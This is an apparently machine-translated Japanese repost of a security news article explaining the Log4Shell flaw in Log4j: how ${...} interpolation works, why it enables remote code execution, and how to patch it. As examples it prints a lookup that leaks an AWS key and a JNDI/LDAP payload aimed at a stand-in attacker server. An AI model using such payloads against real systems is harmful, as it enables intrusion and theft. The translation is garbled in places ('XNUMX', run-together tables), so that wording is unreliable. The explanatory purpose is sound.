8 か月後、米国は Log4Shell が「2.1 年以上」存続すると発表

プラトン再発行

フォロワー： 0

これは、人気のあるオープンソースのJavaプログラミングツールキットの危険なバグでした。 ログ4j、「Logging for Java」の略で、ApacheSoftwareFoundationによってリベラルな無料のソースコードライセンスの下で公開されています。

Windowsラップトップ上の最も単純なBATファイルから、サーバーのラック全体で実行される最も危険なメガアプリケーションまで、あらゆる種類のソフトウェアを作成したことがある場合は、ロギングコマンドを使用したことがあります。

などの基本的な出力から echo "Starting calculations (this may take a while)" 画面に印刷され、監査またはコンプライアンスの理由でXNUMX回限りのデータベースに保存される正式なメッセージに至るまで、ログはほとんどのプログラムの重要な部分です。特に、何かが壊れて、以前にどれだけ進んだかを正確に記録する必要がある場合は、問題が発生しました。

Log4Shell 脆弱性（実際には、いくつかの関連する問題があったことが判明しましたが、簡単にするために、ここではそれらすべてをXNUMXつの大きな問題であるかのように扱います）半分のバグ、半分の機能であることが判明しました。

言い換えれば、Log4jは、バッファオーバーフローなどのバグとは異なり、マニュアルに記載されていることを実行しました。このバグでは、問題のあるプログラムが、そのままにしておくと約束したデータを誤って混乱させようとします…

…しかし、マニュアルを本当に注意深く読み、Log4jの上に注意深い入力検証のレイヤーを追加することによって自分で追加の予防措置を講じない限り、ソフトウェアが動かなくなる可能性があります。

本当に、ひどく、完全に動けなくなった。

補間は有害と見なされます

簡単に言えば、Log4jは、提供したとおりにログメッセージを記録するとは限りませんでした。

代わりに、専門用語でさまざまに混乱を招くように知られている「機能」がありました。補間, コマンド置換 or 自動書き換え、これにより、独自の特別なコードを記述しなくても、ロギングユーティリティ自体の内部でテキスト操作機能をトリガーできます。

たとえば、以下のINPUT列のテキストは、表示されているとおりに文字通りログに記録されます。これは、特にユーザーが提示した入力データの正確な記録を保持したい場合は、ログツールキットに期待するものです。規制上の理由：

入力結果-----------------------------------------------ユーザー名= duck-> USERNAME = duck Caller-ID：555-555-5555-> Caller-ID：555-555-5555現在のバージョン=17.0.1->現在のバージョン=17.0.1

ただし、魔法の文字シーケンスでラップされたテキストを送信した場合 ${...}、ロガーは、テキストを受信した後、実際にログファイルに書き込む前に、次のようにスマートな処理を行うことがあります。

入力結果-------------------------------------------------- ----------------------------- CURRENT = $ {java：version} / $ {java：os}-> CURRENT=Javaバージョン17.0.1 / Windows 10 10.0サーバーアカウントは次のとおりです：$ {env：USER}->サーバーアカウントは次のとおりです：root $ {env：AWS_ACCESS_KEY_ID}-> SECRETDATAINTENDEDTOBEINMEMORYONLY

明らかに、信頼できるソースからのロギングテキストを受け入れる場合、プレーンテキストを内部データに置き換えるようにloggeeがロガーを制御できるようにするのが合理的である場合、この種のテキストの書き換えは便利です。

しかし、おそらく規制上の記録管理の目的で、リモートユーザーによって送信されたデータを追跡することが目標である場合、この種の自動書き換えは二重に危険です。

紛争が発生した場合、 入力と出力の間で変更された可能性があるため、ユーザーが実際に送信した内容の信頼できる記録はありません。
悪意のあるユーザーがこっそりと構築された入力を送信する可能性があります サーバーに想定外のことをさせるために。

ブラウザの識別文字列などのユーザー入力をログに記録する場合は、次のように言います（専門用語では User-Agent）、またはユーザー名や電話番号の場合、ユーザーをだましてプライベートデータ（上記の例のAWS_ACCESS_KEY_IDのようなメモリのみのパスワード文字列など）を永続的なログファイルに書き込む機会を与えたくありません。

特に、監査人や規制当局に、プレーンテキストのパスワードを永続的なストレージに書き込むことは絶対にないと自信を持って伝えた場合はなおさらです。（君はこれをすべきではありません、あなたが公式に規制当局にあなたがそうしないと言っていなくても！）

来るのはさらに悪い

ただし、Log4Shell is-it-a-bug-or-is-it-a-featureの場合は、上記で示したすでに危険な例よりもはるかに状況が悪化していました。

たとえば、以下に示す入力のようなデータを意図的に送信したユーザーは、本当に危険な一連のイベントをトリガーする可能性があります。

入力結果------------------------------------------------ ---------------------------------------- $ {jndi：ldap：//dodgy。 server.example：8888 / BadThing}->リモートJavaプログラムをダウンロードして実行します！？

上記の「補間」文字列では、 ${...} 略語を含む文字シーケンス jndi および ldap Log4jにこれを行うように指示しました：

Java Naming and Directory Interface（JNDI）を使用する 検索します dodgy.server.example オンライン。
LDAP経由でそのサーバーに接続し、 TCPポート8888を使用します。
データをリクエストする LDAPオブジェクトに保存されます BadThing.

言い換えれば、攻撃者は、サーバーに「自宅に電話する」ように指示する特別に細工された入力を送信する可能性があります。 彼らの管理下にあるサーバーに、あなたの休暇ほどではありません。

これはどのように「機能」になるのでしょうか。

このような「機能」がどのようにしてLog4jコードに組み込まれたのか疑問に思われるかもしれません。

ただし、信頼できるソースからデータをログに記録している限り、この種のテキストの書き換えは便利です。

たとえば、数値のユーザーIDをログに記録するだけでなく、ロガーにLDAPを使用するように依頼することもできます（ ライトウェイトディレクトリアクセスプロトコル、MicrosoftのActive Directoryシステムなど、業界で広く使用されており、その時点でそのアカウント番号に関連付けられているユーザー名を取得して保存します。

これにより、ログファイルのエントリの読みやすさと履歴値の両方が向上します。

しかし、上記の例でLog4jが呼び出したLDAPサーバー（リモートユーザーが選択したことを忘れないでください）は、言うまでもなく真実を知る可能性は低いため、悪意のあるユーザーがこのトリックを使用する可能性があります。偽のデータや法的に疑わしいデータを含むログ。

さらに悪いことに、LDAPサーバー ログに記録されるデータを生成するためにプリコンパイルされたJavaコードを返す可能性があります、そしてあなたのサーバーはそのプログラムを忠実に実行します---信頼できないサーバーによって提供され、信頼できないユーザーによって選択された未知のプログラム。

大まかに言えば、ネットワーク内のどこかにあるサーバーが、外部から着信した信頼できない入力をログに記録し、Log4jを使用して記録した場合…

…その入力は、サーバーをだまして他の誰かのコードを実行させるための直接かつ即時の方法として使用できます。

それは呼ばれています RCE 専門用語で、略して リモートコード実行、およびRCEのバグは、通常、マルウェアを自動的に埋め込むために悪用される可能性があるため、サイバー犯罪者が最も強く求めています。

残念ながら、このバグの性質上、危険はインターネットに接続されたサーバーに限定されていなかったため、JavaではなくCで記述されたWebサーバー（IIS、Apache https、nginxなど）を使用し、それ自体はバグを使用しませんでしたLog4jコードは、リスクから解放されませんでした。

理論的には、ネットワーク上の他の場所からデータを受信してログに記録し、Log4jライブラリを使用したバックエンドJavaアプリ…

…外部の攻撃者が到達して悪用する可能性があります。

修正は非常に簡単でした。

の古いバージョンを検索する Log4j ネットワークのどこでもどこでも。 Javaモジュールには通常、次のような名前が付いています。 log4j-api-2.14.0.jar および log4j-core-2.14.0.jarここで、 jar 略です Javaアーカイブ、特別に構造化された種類のZIPファイル。検索可能なプレフィックス、明確な拡張子、およびファイル名に埋め込まれたバージョン番号を使用すると、Javaライブラリコードの「間違った」バージョンを含む問題のあるファイルをすばやく見つけることが実際にはかなり簡単です。
バギーバージョンを交換してください 新しいパッチを当てたもので。
Log4Jのバージョンを変更する立場になかった場合は、 バグのあるLog4jパッケージ（上記のようにJNDIルックアップを処理したJavaコード）から単一のコードモジュールを削除し、バグを抑制して独自のスリム化されたJARファイルを再パッケージ化することで、リスクを軽減または削除できます。